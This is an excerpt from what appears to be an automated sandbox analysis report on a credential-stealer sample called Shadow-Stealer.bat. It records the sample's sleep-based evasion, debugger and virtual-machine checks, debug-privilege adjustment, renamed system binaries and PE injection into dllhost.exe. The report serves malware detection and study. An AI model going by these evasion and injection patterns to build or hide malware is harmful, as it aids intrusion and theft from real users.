Source: C:\Windows\$sxr-powershell.exe TID: 2988	Thread sleep count: 97 > 30
Source: C:\Windows\$sxr-powershell.exe TID: 3392	Thread sleep count: 106 > 30
Source: C:\Windows\System32\winlogon.exe TID: 6924	Thread sleep count: 3805 > 30
Source: C:\Windows\System32\winlogon.exe TID: 6924	Thread sleep time: -3805000s >= -30000s
Source: C:\Windows\System32\winlogon.exe TID: 6924	Thread sleep count: 6191 > 30
Source: C:\Windows\System32\winlogon.exe TID: 6924	Thread sleep time: -6191000s >= -30000s
Source: C:\Windows\System32\lsass.exe TID: 3088	Thread sleep count: 9969 > 30
Source: C:\Windows\System32\lsass.exe TID: 3088	Thread sleep time: -9969000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 432	Thread sleep count: 239 > 30
Source: C:\Windows\System32\svchost.exe TID: 432	Thread sleep time: -239000s >= -30000s
Source: C:\Windows\System32\dwm.exe TID: 5352	Thread sleep count: 8989 > 30
Source: C:\Windows\System32\dwm.exe TID: 5352	Thread sleep time: -8989000s >= -30000s
Source: C:\Windows\System32\dwm.exe TID: 5352	Thread sleep count: 871 > 30
Source: C:\Windows\System32\dwm.exe TID: 5352	Thread sleep time: -871000s >= -30000s
Source: C:\Windows\SysWOW64\cscript.exe TID: 5368	Thread sleep count: 108 > 30
Source: C:\Windows\SysWOW64\cscript.exe TID: 5368	Thread sleep time: -108000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2672	Thread sleep count: 119 > 30
Source: C:\Windows\System32\svchost.exe TID: 2672	Thread sleep time: -119000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 776	Thread sleep count: 121 > 30
Source: C:\Windows\System32\svchost.exe TID: 776	Thread sleep time: -121000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2872	Thread sleep count: 100 > 30
Source: C:\Windows\System32\svchost.exe TID: 2872	Thread sleep time: -100000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 4092	Thread sleep count: 101 > 30
Source: C:\Windows\System32\svchost.exe TID: 4092	Thread sleep time: -101000s >= -30000s
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe TID: 5840	Thread sleep count: 104 > 30
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe TID: 5840	Thread sleep time: -104000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5064	Thread sleep count: 56 > 30
Source: C:\Windows\System32\svchost.exe TID: 5064	Thread sleep time: -56000s >= -30000s
Source: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe TID: 5336	Thread sleep time: -92000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\$sxr-powershell.exe	Last function: Thread delayed
Source: C:\Windows\$sxr-powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\winlogon.exe	Last function: Thread delayed
Source: C:\Windows\System32\winlogon.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Window / User API: threadDelayed 4668	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Window / User API: threadDelayed 4876	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Window / User API: threadDelayed 5359	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Window / User API: threadDelayed 2914	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Window / User API: threadDelayed 363
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 3805
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 6191
Source: C:\Windows\System32\lsass.exe	Window / User API: threadDelayed 9969
Source: C:\Windows\System32\dwm.exe	Window / User API: threadDelayed 8989
Source: C:\Windows\System32\dwm.exe	Window / User API: threadDelayed 871

Source: C:\Windows\SysWOW64\dllhost.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Windows\System32\dllhost.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_20-228

Source: C:\Windows\$sxr-mshta.exe	API coverage: 9.6 %
Source: C:\Windows\$sxr-cmd.exe	API coverage: 7.9 %
Source: C:\Windows\$sxr-powershell.exe	API coverage: 2.9 %
Source: C:\Windows\System32\lsass.exe	API coverage: 9.1 %
Source: C:\Windows\System32\svchost.exe	API coverage: 6.9 %
Source: C:\Windows\SysWOW64\cscript.exe	API coverage: 5.2 %

Source: C:\Windows\$sxr-mshta.exe	Memory allocated: 1ACE86E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Memory allocated: 1ACE8930000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Memory allocated: 1ACE8AD0000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Memory allocated: 1ACE8B10000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\System32\lsass.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep
Source: C:\Windows\System32\dwm.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep
Source: C:\Windows\System32\svchost.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep
Source: C:\Windows\System32\winlogon.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_22-50681

Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\SysWOW64\dllhost.exe

API call chain: ExitProcess graph end node

Source: C:\Windows\$sxr-mshta.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Source: lsass.exe, 00000018.00000000.2485686627.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicshutdownNT SERVICE
Source: dwm.exe, 0000001A.00000000.2491407917.000001D156AA0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000gB
Source: lsass.exe, 00000018.00000000.2485686627.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicvssNT SERVICE
Source: dllhost.exe, 00000008.00000002.2310298135.0000015FDDFE1000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000008.00000002.2310433319.0000015FDE220000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000009.00000002.2310743730.0000000003650000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000009.00000002.2310637736.000000000327E000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000009.00000003.2309620306.000000000327C000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 0000000B.00000002.2362429913.0000021EA07F1000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 0000000B.00000002.2362615637.0000021EA0AB0000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 0000000C.00000002.2363058947.0000000002CDE000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 0000000C.00000002.2363307282.00000000031E0000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 0000000C.00000003.2361922894.0000000002CDC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: hgfsrSDsof=dVx
Source: Shadow-Stealer.bat	Binary or memory string: %twJz:uwJzjJyaUpcyiwGBaxyLIfqozaqDUqkKRqaiFgVVIunfLkwIqCzoZaandvairVgBfqFQwyWUBCcnQmDoDJmqQWKRpLdkgMCNnLauFDmRHGNxYMxQPKDIHNJjHMBJvKMOana=%"tnfLkvIrCz%jJya%"hgfsr"
Source: svchost.exe, 00000026.00000002.3362805756.00000200A122B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: zSCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000_0r
Source: svchost.exe, 00000023.00000000.2515680028.000001A1CA000000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: lsass.exe, 00000018.00000002.3361810056.000002D6F064E000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pL;VMWare
Source: lsass.exe, 00000018.00000000.2485686627.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicheartbeatNT SERVICE
Source: $sxr-mshta.exe, 0000000A.00000002.3379935784.000001ACE8C8B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\8b}%
Source: dwm.exe, 0000001A.00000002.3398038985.000001D156B0A000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: lsass.exe, 00000018.00000000.2485608595.000002D6F0613000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.3361004221.000002D6F0613000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000000.2488659934.0000014E41C13000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000002.3360601576.0000014E41C13000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000021.00000000.2512834332.0000023C9FE2B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000021.00000002.3388959733.0000023C9FE2B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000023.00000000.2515792701.000001A1CA034000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000023.00000002.3361889502.000001A1CA02A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000002.3363095469.00000200A1241000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000000.2527765521.00000200A1241000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: svchost.exe, 00000019.00000002.3360601576.0000014E41C13000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000

Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\$sxr-mshta.exe	Code function: 10_2_000001ACEA2DBEDC FindFirstFileExW,	10_2_000001ACEA2DBEDC
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_000002155A5BBEDC FindFirstFileExW,	13_2_000002155A5BBEDC
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137F823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,	13_2_00007FF7137F823C
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137F2978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,	13_2_00007FF7137F2978
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF713807B4C FindFirstFileW,FindNextFileW,FindClose,	13_2_00007FF713807B4C
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137E35B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,	13_2_00007FF7137E35B8
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137E1560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	13_2_00007FF7137E1560
Source: C:\Windows\$sxr-powershell.exe	Code function: 19_2_000001F5FDC7BEDC FindFirstFileExW,	19_2_000001F5FDC7BEDC
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D0165EBEDC FindFirstFileExW,	22_2_000002D0165EBEDC
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_000002D6F151BEDC FindFirstFileExW,	24_2_000002D6F151BEDC
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_0000014E41FDBEDC FindFirstFileExW,	25_2_0000014E41FDBEDC
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15B49BEDC FindFirstFileExW,	26_2_000001D15B49BEDC
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_009F9AE0 FindFirstFileExW,	28_2_009F9AE0
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_00A19AE0 FindFirstFileExW,	28_2_00A19AE0
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_00B19AE0 FindFirstFileExW,	28_2_00B19AE0
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_00B39AE0 FindFirstFileExW,	28_2_00B39AE0

Source: C:\Windows\$sxr-mshta.exe

10_2_00007FF64E1D1008

Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_009D0CE3 mov eax, dword ptr fs:[00000030h]	28_2_009D0CE3
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_009D75D8 mov eax, dword ptr fs:[00000030h]	28_2_009D75D8
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_009D87F7 mov eax, dword ptr fs:[00000030h]	28_2_009D87F7
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_009F18E3 mov eax, dword ptr fs:[00000030h]	28_2_009F18E3
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_009F81D8 mov eax, dword ptr fs:[00000030h]	28_2_009F81D8
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_009F93F7 mov eax, dword ptr fs:[00000030h]	28_2_009F93F7
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_00A118E3 mov eax, dword ptr fs:[00000030h]	28_2_00A118E3
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_00A181D8 mov eax, dword ptr fs:[00000030h]	28_2_00A181D8
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_00A193F7 mov eax, dword ptr fs:[00000030h]	28_2_00A193F7
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_00A30CE3 mov eax, dword ptr fs:[00000030h]	28_2_00A30CE3
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_00A375D8 mov eax, dword ptr fs:[00000030h]	28_2_00A375D8
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_00A387F7 mov eax, dword ptr fs:[00000030h]	28_2_00A387F7
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_00AF0CE3 mov eax, dword ptr fs:[00000030h]	28_2_00AF0CE3
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_00AF75D8 mov eax, dword ptr fs:[00000030h]	28_2_00AF75D8
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_00AF87F7 mov eax, dword ptr fs:[00000030h]	28_2_00AF87F7
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_00B118E3 mov eax, dword ptr fs:[00000030h]	28_2_00B118E3
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_00B181D8 mov eax, dword ptr fs:[00000030h]	28_2_00B181D8
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_00B193F7 mov eax, dword ptr fs:[00000030h]	28_2_00B193F7
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_00B318E3 mov eax, dword ptr fs:[00000030h]	28_2_00B318E3
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_00B381D8 mov eax, dword ptr fs:[00000030h]	28_2_00B381D8
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_00B393F7 mov eax, dword ptr fs:[00000030h]	28_2_00B393F7
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_02DC87F7 mov eax, dword ptr fs:[00000030h]	28_2_02DC87F7
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_02DC0CE3 mov eax, dword ptr fs:[00000030h]	28_2_02DC0CE3
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_02DC75D8 mov eax, dword ptr fs:[00000030h]	28_2_02DC75D8

Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\$sxr-mshta.exe

Code function: 10_2_000001ACEA2D7F10 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

10_2_000001ACEA2D7F10

Source: C:\Windows\System32\dllhost.exe

Code function: 8_2_0000000140001368 GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,K32EnumProcesses,OpenProcess,K32EnumProcessModules,ReadProcessMemory,CloseHandle,FindCloseChangeNotification,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

8_2_0000000140001368

Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\dllhost.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\dllhost.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\dllhost.exe	Process token adjusted: Debug
Source: C:\Windows\$sxr-powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\dllhost.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\dllhost.exe	Process token adjusted: Debug
Source: C:\Windows\System32\dllhost.exe	Process token adjusted: Debug
Source: C:\Windows\System32\dllhost.exe	Process token adjusted: Debug
Source: C:\Windows\System32\dllhost.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\dllhost.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\dllhost.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\dllhost.exe	Process token adjusted: Debug
Source: C:\Windows\System32\dllhost.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Windows\$sxr-mshta.exe	Code function: 10_2_000001ACEA2D7F10 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_000001ACEA2D7F10
Source: C:\Windows\$sxr-mshta.exe	Code function: 10_2_000001ACEA2DB5AC RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_000001ACEA2DB5AC
Source: C:\Windows\$sxr-mshta.exe	Code function: 10_2_000001ACEA2E3228 SetUnhandledExceptionFilter,	10_2_000001ACEA2E3228
Source: C:\Windows\$sxr-mshta.exe	Code function: 10_2_00007FF64E1D1800 SetUnhandledExceptionFilter,	10_2_00007FF64E1D1800
Source: C:\Windows\$sxr-mshta.exe	Code function: 10_2_00007FF64E1D1ADC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_00007FF64E1D1ADC
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_000002155A5BB5AC RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_000002155A5BB5AC
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_000002155A5C3228 SetUnhandledExceptionFilter,	13_2_000002155A5C3228
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_000002155A5B7F10 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_000002155A5B7F10
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137F8FA4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	13_2_00007FF7137F8FA4
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137F93B0 SetUnhandledExceptionFilter,	13_2_00007FF7137F93B0
Source: C:\Windows\$sxr-powershell.exe	Code function: 19_2_000001F5FDC77F10 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	19_2_000001F5FDC77F10
Source: C:\Windows\$sxr-powershell.exe	Code function: 19_2_000001F5FDC83228 SetUnhandledExceptionFilter,	19_2_000001F5FDC83228
Source: C:\Windows\$sxr-powershell.exe	Code function: 19_2_000001F5FDC7B5AC RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	19_2_000001F5FDC7B5AC
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D0165E7F10 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	22_2_000002D0165E7F10
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D0165EB5AC RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	22_2_000002D0165EB5AC
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D0165F3228 SetUnhandledExceptionFilter,	22_2_000002D0165F3228
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_000002D6F151B5AC RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	24_2_000002D6F151B5AC
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_000002D6F1523228 SetUnhandledExceptionFilter,	24_2_000002D6F1523228
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_000002D6F1517F10 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	24_2_000002D6F1517F10
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_0000014E41FD7F10 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	25_2_0000014E41FD7F10
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_0000014E41FE3228 SetUnhandledExceptionFilter,	25_2_0000014E41FE3228
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_0000014E41FDB5AC RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	25_2_0000014E41FDB5AC
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15B497F10 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	26_2_000001D15B497F10
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15B4A3228 SetUnhandledExceptionFilter,	26_2_000001D15B4A3228
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15B49B5AC RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	26_2_000001D15B49B5AC
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_009F9428 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_009F9428
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_009F6964 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_009F6964
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_009F667A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_009F667A
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_00A19428 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00A19428
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_00A16964 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_00A16964
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_00A1667A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00A1667A
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_00B19428 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00B19428
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_00B16964 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_00B16964
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_00B1667A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00B1667A
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_00B39428 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00B39428
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_00B36964 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_00B36964
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_00B3667A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00B3667A

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000 value starts with: 4D5A	Jump to behavior
